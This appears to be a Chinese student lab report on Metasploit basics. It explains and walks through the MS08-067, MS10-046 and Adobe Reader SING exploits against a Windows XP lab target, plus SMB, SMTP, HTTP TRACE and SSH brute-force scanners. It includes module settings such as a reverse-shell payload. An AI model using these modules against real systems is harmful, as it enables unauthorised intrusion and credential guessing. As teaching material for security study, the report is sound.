Exp5 MSF基础应用
1. 实践内容
-
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
-
1.1一个主动攻击实践,如ms08_067;
-
1.2 一个针对浏览器的攻击,如ms11_050;
-
1.3 一个针对客户端的攻击,如Adobe;
-
1.4 成功应用任何一个辅助模块。
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
2. 实践原理
2.1 常见攻击方式
- 程序存在漏洞,敌手透过漏洞发送恶意代码控制被害主机。
- 恶意链接,其本意是攻击ie,但是一旦不小心打开了这样的链接就会被攻击。
- 恶意程序伪装成常见的应用程序,以pdf为例,恶意程序攻击的是pdf,但是如果打开了这样的应用,就会中招。
2.2 msf原理
-
主要集成模块,即metasploit框架中所使用的软件代码组件。主要包括:
- exploit
- payload 有效载荷,即攻击所依附的主体
- encode 改变shellcode形态,去掉坏字符
- nop 空字符,作着陆区。
-
辅助模块,即攻击前提供目标准确信息以便发动更加精准的攻击。
- auxiliary
2.3 msf指南
- /usr/share/metasploit-framework/modules : 模块目录。
- search + 指令:查找相关的指令位置。
- use + 模块名:使用模块。
- info + 模块名:查看模块使用说明。
- armitage : 使用图形化界面。
- msfconsole -r +指令 :自动化执行。
3. 实验过程
3.1 ms08_067
3.1.1 漏洞简介
-
名称: MS08-067 Microsoft Server Service Relative
-
路径: exploit/windows/smb/ms08_067_netapi
-
平台: Windows
-
描述(通过info查到的):
- 该模块通过服务器服务利用NetAPI32.dll的路径规范化代码中的解析缺陷。此模块能够在某些操作系统和服务包上绕过NX。
- 必须使用正确的目标来防止服务器服务(以及同一进程中的其他十几个人)崩溃。 Windows XP目标似乎可以处理多个成功的利用事件,但2003年的目标往往会在随后的尝试中崩溃或挂起。 这只是该模块的第一个版本,2003年与其他平台一起支持NX旁路,目前仍在开发中。
-
简而言之,MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
-
其原理在于exploit模块通过建立TCP连接后进行SMB空会话连接,通过SMB空回话连接自动查询目标系统的各种信息。再构造恶意数据,数据的核心仍然是覆盖ESI寄存器中指向栈空间的地址,并通过SVCHOST.EXE中的JMP指令进行跳转,最终执行shellcode。
3.1.2 实践过程
- 首先需要关闭winXP的防火墙,检测连接状态。
- 打开MSFconsole,可以通过search指令查询完整路径,再通过info指令查看详细说明。由于原理上面已经说得比较清楚了,这里简单放两张图。
- 查看可选择的payload,并设置回连模式
set payload generic/shell_reverse_tcp
- 设置了LHOST和LPORT两个参数,运行之后发现出错了?emmm原来是忘了设置RHOST,设置完成后即可运行。
3.2 MS10_046
3.2.1 漏洞简介
- 老办法,直接search加info指令查看
- 该漏洞的原理在于由于MS10-046的漏洞是在shell32.dll当中,windows出于美化的目的,会现实快捷方式的图标,这个图标可能是程序本身自带的ico,也可能是系统默认的那些图标,对于一个快捷方式,系统会对它进行解析从而获取他要显示的那个图标,但是在解析的时候没有做好参数验证工作。如果被攻击者显示特指的快捷方式图标或者使用特制的共享时,则该漏洞可能允许远程执行代码。成功利用漏洞的攻击者可以获得与本地用户相同的用户权限。
3.2.2 实践过程
- use使用模块,查看可选的payload。
- 选择payload后,设置LOHST为攻击机的ip地址。
- 开始执行后会生成一个url,在winXP中打开这个地址,并用session帅选,效果如下:
- 使用这个ID为1的session,成功获取靶机的shell。
3.3 adobe相关渗透模块测试
3.3.1 漏洞简介
- search加info查看一下
- 该模块利用AdobeReader版本8.2.4和9.3.4中智能独立Glyplets(SING)表格处理中的漏洞。 以前的版本也被认为是脆弱的。
3.3.2 实践过程
- 首先设置基本参数,如LPORT、LHOST等。
- 生成的文件藏在root下一个隐藏文件夹中,需要用终端挪出来。
- 另外起一个终端开始监听,注意将攻击机的端口和ip设置成一样的。回连成功啦。
3.4 辅助模块使用
3.4.1 模块简介
- show auxiliary可以查看所有的辅助模块,在实际应用中,辅助模块一般作为最先发起探测的工具。
- 我们选择SMB Version Detection,use后设置参数。
set LHPST 172.20.10.0-20 //设置批量扫描地址。
set THREADS 1 //设置线程,决定了扫描的速度。
- 可以看出我们正在使用的系统的信息。
- 我们再玩一个,选择auxiliary/scanner/smtp/smtp_enum,这是一个扫描并列举出smtp开放端口的模块。use后设置参数,可以看出批量扫描的主机中并没有开放的端口。
- 再来尝试一个,检查主机是否容易受到跨站点跟踪(XST)的影响
use auxiliary/scanner/http/trace
- 设置参数开始扫描,结果如下:
- 最后我们来尝试看看能不能调出一些弱口令,首先将可能的弱口令编辑到一个文本中,再使用猜测模块。
use auxiliary/scanner/ssh/ssh_login
- 结果如下,没有成功~看来这台主机没有我们希望的常见弱口令。
4. 实验感想
- 虽然很多漏洞已经过时,但是对漏洞发掘和使用的思想不会过时,通过这次实验我还是感受到了操作系统中任何一个微小的漏洞都会造成巨大的隐患。
- 更新系统漏洞是十分必要的,很多漏洞在发布后黑客就能够迅速构造攻击方法,如果无法及时通过打补丁,可能就会被攻破,所以及时更新系统是保护自己系统的第一道防线。
- 不要认为常见的文件就是安全的,adobe文件、浏览器等等都可能成为侵入的缝隙,必须时刻警觉。